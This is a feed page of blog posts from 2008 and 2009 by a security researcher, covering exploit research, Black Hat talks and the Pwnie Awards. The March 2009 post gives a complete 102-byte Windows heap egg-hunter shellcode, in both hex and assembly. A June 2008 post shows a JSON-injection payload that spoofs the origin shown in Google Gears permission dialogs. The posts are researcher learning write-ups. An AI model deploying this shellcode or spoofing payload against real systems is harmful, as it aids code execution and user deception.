SecurityFeed.info » Farfromr00tin

« Expand/Collapse

Farfromr00tin (10 unread)

April 14, 2009
12:18
IE 7 and 8 Intranet Zones
» ‎ Farfromr00tin

This is just going to be a quick post on some research that is pretty closely related to research I've done in the past. Cesar Cerrudo of Argennis released a paper on the ramifications of the security settings for the Intranet zone in IE 7 and 8. Last year I did some research into these settings for IE 6 and 7 but didn't take it as far as Cesar has. Go take a look, interesting stuff.
March 13, 2009
20:15
Heap-only Egg Hunter
» ‎ Farfromr00tin
As Nate said in a recent blog post, it's often useful to reinvent the wheel, if only for one's own edification. Through attempting to write my own egg hunter I learned much more than I would have if I had simply plugged in skape's.

The exploit itself was very simple, but one of the issues we faced was reliability. The payload was being truncated when it was moved to the stack so we only had approximately 200 bytes to work with. However, the full payload was located in several different heaps throughout memory so this was a classic case for an egg hunter.

My idea was to write shellcode that would search only the heap for the full payload based on a lookout value which could also double as a sled. As I discovered, one of the important limiting factors in writing an egg hunter is the minimum size needed for a main payload (e.g. executing a command on the operating system). It's not very useful to have an egg hunter that is, for instance, 250 bytes. Kind of defeats the purpose. Mine ended up being 102 bytes, and I cheated a bit.

It does search the system heaps, but it also searches a bit more. Abstractly, here's how my egg hunter works:
- Get address of TEB
- Get address of PEB from TEB + 0x30
- Get address of list of process heaps from PEB + 0x90
- Get address of first heap
- Add 0x100000 to heap address and push onto stack
- Check if memory being pointed to is greater than heap base + 0x100000
- Check if memory being pointed to is accessible
- Compare 4 bytes to lookout value
The ideal way for this to have worked would have been to have it actually walk the heap lists, checking only the allocated memory segments. But, as mentioned above, there were size constraints.

By the way, I used skape's code for checking memory to see if it's accessible in my egg hunter. Worked beautifully.

In hex bytes:
$hunter =
"xebx03".
"x59".
"xebx05".
"xe8xf8xffxffxff".
"x83xc1x0f".
#"xb8x41x41x41x18".
"xb8x41x41x41x30".
"xc1xe8x18".
"x89x01".
"x64xa1x41x41x41x41".
#"x8bx40x30".
#"xb3x90".
#"x02xc3".
"x04x90".
"x8bx38".
"x33xc9".
"xb5x10".
"xc1xe1x08".
"xb7x03".
"xb3xe8".
"xebx03".
"x83xc7x04".
"x8bx37".
"x03xce".
"x51".
"xebx02".
"x03xf3".
"x3bx34x24".
"x7fxef".
"x8bxd6".
"x6ax02".
"x58".
"xcdx2e".
"x3cx05".
"x74xee".
"x81x3ex42x4ax42x4a".
"x75xe6".
"x83xfdx01".
"x75x02".
"xffxe6".
"x83xc6x04".
"x33xed".
"x45".
"xebxde";

In assembly:
jmp short 0x03
pop ecx
jmp short 0x05
call 0xf8
add ecx,0x0f
mov eax,0x30414141
shr eax,18
mov dword ptr[ecx],eax
mov eax,dword ptr fs[0x41414141]
add al,0x90
mov edi,dword ptr[eax]
xor ecx,ecx
mov ch,0x10
shl ecx,0x08
mov bh,0x03
mov bl,0xe8
jmp short 0x03
add edi,0x04
mov esi,dword ptr[edi]
add ecx,esi
push ecx
jmp short 0x02
add esi,ebx
cmp esi,dword ptr[esp]
jg short 0xef
mov edx,esi
push 0x02
pop eax
int 0x2e
cmp al,0x05
je short 0xee
cmp dword ptr[esi],0x4a424a42
jnz short 0xe6
cmp ebp,0x01
jnz short 0x02
jmp esi
add esi,0x04
xor ebp,ebp
inc ebp
jmp short 0xde

I'm sure this could probably be optimized and/or made to work more efficiently, but I am no assembly programmer.

edit: Another bit of code for my egg hunter that I got from elsewhere are the first 4 instructions. I took them from the Metasploit payloads. They are used to get the address where the

add ecx,0x0f

instruction resides on the stack as a reference point. The Metasploit payloads use these instructions to begin the process of decoding an encoded payload. A few instructions later I use my reference point to modify the

mov eax,dword ptr fs[0x41414141]

instruction in memory. I needed to do this in order to have the correct hex opcodes in memory to assemble into the following instruction:

mov eax,dword ptr fs[0x18]

That instruction assembles as x64xa1x18x00x00x00 which is obviously no good in a payload brought into the program as a string. The purpose of that instruction is to get the address of the TEB and put it into eax, which I then use an offset of to get the address of the PEB.

edit 2: I've modified the shellcode and assembly to reflect a change suggested by Jordan in the comments below and another small change I noticed would decrease the size of the shellcode. It's now
February 23, 2009
16:47
Amaya 11 Stack Overflow Exploits
» ‎ Farfromr00tin

I've been doing a lot of learning in the past few months. I felt pretty comfortable with my skills attacking web apps, but I was severely lacking in memory corruption issues. I knew the basics, but was absolutely lost when it came to dealing with memory protections. So I decided to start from the beginning with stack overflows and /GS. I worked my way up from Windows XP SP0 through SP3 and eventually Vista SP1, through /GS, SafeSEH, DEP and ASLR. I am very happy with the results. Unfortunately, free time is at a premium these days and I don't have enough of it to describe my exploits as I should. So if there are any questions, ask.

I wrote a couple exploits for an Amaya 11 bdo tag stack overflow PoC. Amaya is a web editor/browser that was written by W3C. Doesn't seem to have much of a following, but never the less, it was an interesting exploit to write. When the payload reaches the stack, where it overflows the saved ebp, return address and SEH, no part of it can be outside of the ASCII range (0x01 - 0x7f). This made it somewhat challenging to a neophyte like myself. My exploits, which can be seen here and here, were written with that consideration in mind. One of them is a universal exploit for all service packs of XP and the other is an exploit for Windows Vista SP1. Haven't had a chance to test it on SP0 and probably won't.

I hope to write a more detailed explanation of these exploits in the future, but realistically, it may not happen.
January 03, 2009
23:10
Back In The Saddle Again
» ‎ Farfromr00tin

It's been a while since I've posted to this blog. I haven't disappeared, I have just been taking a break from doing research since Black Hat Vegas. I'm currently involved in a couple small projects, one of which could turn out to be pretty cool. I'll make sure to post any developments.
August 10, 2008
15:08
Black Hat Vegas 2008 Recap
» ‎ Farfromr00tin

First of all, I want to say thank you to all the people who came out and supported Nate, John and I for our talk.

We had a great turnout despite the fact that we were talking in the same time slot as such notable speakers (Dowd, Sotirov, Rutkowska, MSRC, Grossman). The audience was great (including the huge EY contingent that showed up) and we got some wonderful feedback after. We also did a podcast with Rich Mogull of Securosis right after the talk which you can find here.

On top of all this, Nate, Billy Rios and I won the Pwnie Award for Best Client Side Attack (which should have gone to Mark Dowd btw). This year's Black Hat Vegas (only my second) was a great time. I got to meet some great people and hang in some swanky places.

Special thanks to the entire Black Hat crew for having us come out and give our talk.

Now it's time to get back to the research ;)
July 21, 2008
12:45
Pwnie Nomination
» ‎ Farfromr00tin

I just learned that Nate McFeters, Billy Rios and I have been nominated for pwnies for the best client-side attack.

It's a huge honor to even be nominated but most of the credit should go to Nate and Billy. They were really the driving force behind the discovery of these issues, I just wrote an exploit to steal people's pics. Even though our research has taken a different direction (except for Billy's recent 0wning of Firefox) I think protocol handlers are still quite viable for exploitation.

Anyway, I haven't been doing much in the way of research lately but I'm beginning to feel the itch again. There's still so much pwnage to be had out there and I'd like to get a piece of the action.
June 26, 2008
0:54
Cross Environment Hopping
» ‎ Farfromr00tin

This is a subject that's near and dear to my heart.

Very good post detailing the dangers of what's been dubbed "Cross Environment Hopping" along with some thought provoking commentary. I love me some locally running web servers/applications. Gets me all excited just thinking about it! Great research guys.
June 03, 2008
12:50
Google Gears Origin Spoofing
» ‎ Farfromr00tin

The time has come to explain my Google Gears exploit. They've begun to update this issue automatically.

The issue comes about in the way the parameters from the getPermission function in the Factory class are handled. It seems that the parameters provided to Gears through this function (customName, customImage and customMessage) are passed to the Javascript object which then passes them to a modal dialog box that pops up asking the user if they are sure they would like to let Gears be used from that page.

I discovered that the parameters are passed from the Javascript object (both from the IE gears.dll and the Firefox XUL object) using JSON objects. I happened to stumble upon this issue by encoding a back-slash in unicode. The unicode was interpreted by Gears and inserted the backslash next to the double-quote in the JSON object:

{
  "customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears Application for Pwning U",
  "customName" : "Google Code",
  "origin" : "http://1.2.3.4",
}

As you might imagine, this totally screwed the parsing algorithm in the modal dialog box code and an unhandled exception occured which clued me in to the depth of the problem. I was then able to inject my own code into the JSON object to insert my own origin:

{
  "customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",
  "customMessage" : "Trusted Google Code Gears Application for Pwning U",
  "customName" : "Google Code","orgin":"http://code.google.com"}",
  "origin" : "http://1.2.3.4",
}

And these were the resulting dialog boxes that popped up, in both IE and Firefox.

The really interesting thing is, the way the JSON parsing algorithm was set up, it only cared if the JSON string is valid up to the '}' character so anything after that was not even checked.

This issue allowed me, as an attacker, to make a user believe the code on my page is actually a code.google.com Gears app (or from any other domain for that matter).

This just begs the question; how can a user make an informed decision on what to trust if it's possible to make them believe it came from a trusted location?

Anwwer: they can't.
May 22, 2008
13:16
Miscellaneous Security Musings
» ‎ Farfromr00tin

There's not going to be anything too technical or groundbreaking in this post. I'm waiting on a flaw to get fixed by Google right now so I figured I'd post this in the interim.

I've been in the security industry for all of 11 months now and I believe I have a fair amount of knowledge (at least in the web app security arena). As I learned more I began to realize that security is almost cyclical in nature. When defenders (i.e. software companies, network admins) concentrate on one area, attackers will move to another area. After several iterations of switching focus to a different area, the originally vulnerable area will lose focus entirely. Attackers will switch back after finding some new class of vulnerability and the cycle will go on.

This whole train of thought was brought about by a couple things. I've been fortunate enough to be included in research that some really smart people are doing and this theme has popped up recently. Unfortunately I really can't talk about this ongoing research (espeicially since none of it is mine anyway).

But also, something a colleague of mine said the other day reinfoced this. After I discovered that you can put a UNC notation address into an iframe source, he had the idea of forcing the user's Windows computer to connect to a computer of the attacker's choice (think passing the hash). He then turned to me and said "what was old is new again".

I'm not sure where I'm going with this, but it seems to me, this is how it works. Some area of security loses focus, people get sloppy, next thing you know we're seeing vulnerabilities again.

How do you combat this? It's human nature to get complacent. Maybe after a few more years of experience I'll have some creative suggestions for this problem. But for now, I'll just concentrate on the pwnage.
May 12, 2008
16:01
We're In @ Black Hat Vegas
» ‎ Farfromr00tin

Holy crap! I can't believe we actually got in!

The first computer security conference I ever attended was Black Hat Vegas last year and now I'm going to be speaking there with Nate McFeters, Billy Rios and John Heasman. Crazy. I've spoken now at Black Hat Japan, Federal and Europe, but Vegas is The Big Show. Thanks to everybody who voted for us.

Our talk is entitled "The Internet Is Broken: Beyond document.cookie - Extreme Client Side Exploitation". We're going to show some pretty sick stuff there and it's going to be a two-session deal. Prepare yourself for a brain-meltingly awesome talk.

See you in Vegas!

← David Litchfield's blog aut disce, aut discede →

SecurityFeed.info » Farfromr00tin

Feeds

Farfromr00tin (10 unread)